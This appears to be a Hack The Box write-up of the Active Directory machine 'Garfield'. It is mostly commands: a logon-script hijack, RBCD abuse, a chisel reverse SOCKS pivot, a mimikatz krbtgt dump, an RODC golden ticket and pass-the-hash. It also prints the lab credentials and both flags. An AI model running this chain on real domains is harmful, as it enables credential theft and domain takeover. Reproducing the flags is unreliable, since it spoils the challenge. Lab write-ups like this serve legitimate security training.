Back to writeups
HTBmachineHardsolved

Garfield

15 Jul 2026 · by 0xIDA

Solvers

Garfield (HTB) — Writeup

Author: 0xIDA

Solvers

FieldValue
PlatformHack The Box
Machine ID862
NameGarfield
OSWindows Server 2019 (AD)
DifficultyHard
Points40
Author (writeup)0xIDA
Starting credsj.arbuckle / Th1sD4mnC4t!@1978
Domaingarfield.htb
HostsDC01.garfield.htb (external), RODC01.garfield.htb (192.168.100.2)
User flagecc033632949bea0395b87d8ded4db88
Root flag9d3d2141e42f99227c96430217718fef
Submit statusLive verified — user + root owned via MCP

Summary chain

j.arbuckle → writable SYSVOL scripts + scriptPath on Liz Wilson
  → logon script runs as l.wilson (bot login)
  → Set-ADAccountPassword l.wilson_adm
  → WinRM as l.wilson_adm (user.txt)
  → AddSelf RODC Administrators + SeMachineAccountPrivilege
  → FAKE$ machine account + RBCD on RODC01
  → chisel reverse SOCKS → S4U as Administrator → SYSTEM on RODC
  → mimikatz dump krbtgt_8245 AES256
  → modify RODC PRP (reveal Administrator)
  → Rubeus RODC golden ticket + KeyList → Administrator NTLM
  → evil-winrm PTH → root.txt

1) Recon

Target IP (lab): 10.129.49.85 (example; always re-check after spawn).

echo '<IP> DC01.garfield.htb garfield.htb' >> /etc/hosts
nxc smb <IP> -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --shares
nxc smb <IP> -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users

Shares: SYSVOL / NETLOGON readable. Users include l.wilson, l.wilson_adm, krbtgt_8245 (RODC krbtgt RID/suffix 8245).

bloodyAD --host <IP> -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' get writable

WRITE on CN=Liz Wilson (and others). Password reset via LDAP fails; attribute write (e.g. scriptPath) works.

2) Logon script hijack → l.wilson

# NETLOGON == SYSVOL\garfield.htb\scripts
smbclient //<IP>/SYSVOL -U 'j.arbuckle%Th1sD4mnC4t!@1978' -c 'cd garfield.htb\scripts; ls'

Overwrite printerDetect.bat with a payload that:

  1. Resets l.wilson_adm password via Set-ADAccountPassword (primary — reverse shells can be flaky).
  2. Optionally reverse shell for interactive access.
@echo off
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Import-Module ActiveDirectory; Set-ADAccountPassword -Identity 'l.wilson_adm' -Reset -NewPassword (ConvertTo-SecureString -String 'Boltech@123!' -AsPlainText -Force)"

smbclient //<IP>/SYSVOL -U 'j.arbuckle%...' -c 'cd garfield.htb\scripts; put printerDetect.bat'
bloodyAD --host <IP> -u 'j.arbuckle' -p '...' set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat

A scheduled/bot logon as l.wilson executes the script (watch lastLogon). Poll:

nxc winrm <IP> -u 'l.wilson_adm' -p 'Boltech@123!'
# [+] ... (Pwn3d!)

3) User flag

evil-winrm -i <IP> -u l.wilson_adm -p 'Boltech@123!'
type C:\Users\l.wilson_adm\Desktop\user.txt
# ecc033632949bea0395b87d8ded4db88

Also: Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm", SeMachineAccountPrivilege enabled, RODC at 192.168.100.2.

4) Pivot + RBCD → SYSTEM on RODC

impacket-addcomputer 'garfield.htb/l.wilson_adm:Boltech@123!' -computer-name 'FAKE$' -computer-pass 'FakePass123!' -dc-ip <IP>
# On DC via WinRM:
Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount FAKE$

Pivot (chisel reverse SOCKS used here):

chisel server -p 8000 --reverse
# on DC: chisel client <VPN_IP>:8000 R:socks
# socks5 127.0.0.1:1080 → proxychains

Sync attacker clock to DC (~8h skew common). Then:

impacket-getST 'garfield.htb/FAKE$:FakePass123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip <IP>
export KRB5CCNAME=./Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
proxychains impacket-psexec -k -no-pass -dc-ip <IP> -target-ip 192.168.100.2 'garfield.htb/Administrator@RODC01.garfield.htb' whoami
# nt authority\system

5) Dump RODC krbtgt_8245

mimikatz privilege::debug
mimikatz lsadump::lsa /inject /name:krbtgt_8245
# aes256_hmac: d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
# Domain SID: S-1-5-21-2502726253-3859040611-225969357

6) PRP + RODC Golden Ticket + KeyList

As l.wilson_adm (PowerView):

Set-DomainObject -Identity RODC01$ -Set @{
  'msDS-RevealOnDemandGroup' = @(
    'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb',
    'CN=Administrator,CN=Users,DC=garfield,DC=htb'
  )
}
Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'

Rubeus ≥ 2.3.3 (older 1.6.x lacks /rodcNumber golden):

.\Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi `
  /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 `
  /user:Administrator /id:500 /domain:garfield.htb `
  /sid:S-1-5-21-2502726253-3859040611-225969357

.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb `
  /dc:DC01.garfield.htb /ticket:ticket_....kirbi /nowrap
# Password Hash: EE238F6DEBC752010428F20875B092D5

7) Domain Admin / root flag

evil-winrm -i <IP> -u Administrator -H 'ee238f6debc752010428f20875b092d5'
type C:\Users\Administrator\Desktop\root.txt
# 9d3d2141e42f99227c96430217718fef

Tools

  • nxc, bloodyAD, smbclient, evil-winrm
  • impacket: addcomputer, getST, psexec
  • chisel (reverse SOCKS) — ligolo-ng also works with interactive session/start
  • mimikatz, PowerView, Rubeus ≥ 2.3.3
  • ufw: allow attacker ports from 10.0.0.0/8

Pitfalls

  1. SEO writeups mix AS-REP/SeBackup filler (Blackfield-style). Live path is scriptPath → RODC KeyList.
  2. scriptPath alone needs a logon — embed password reset in the batch so you do not depend on a stable reverse shell.
  3. Kerberos clock skew ~8h — sync before getST/Rubeus.
  4. Rubeus version — need v2.3.3+ for RODC golden ticket signing.
  5. RODC is internal — chisel/ligolo pivot required from attacker host.
  6. PRP must allow Administrator before KeyList returns a useful password hash.

References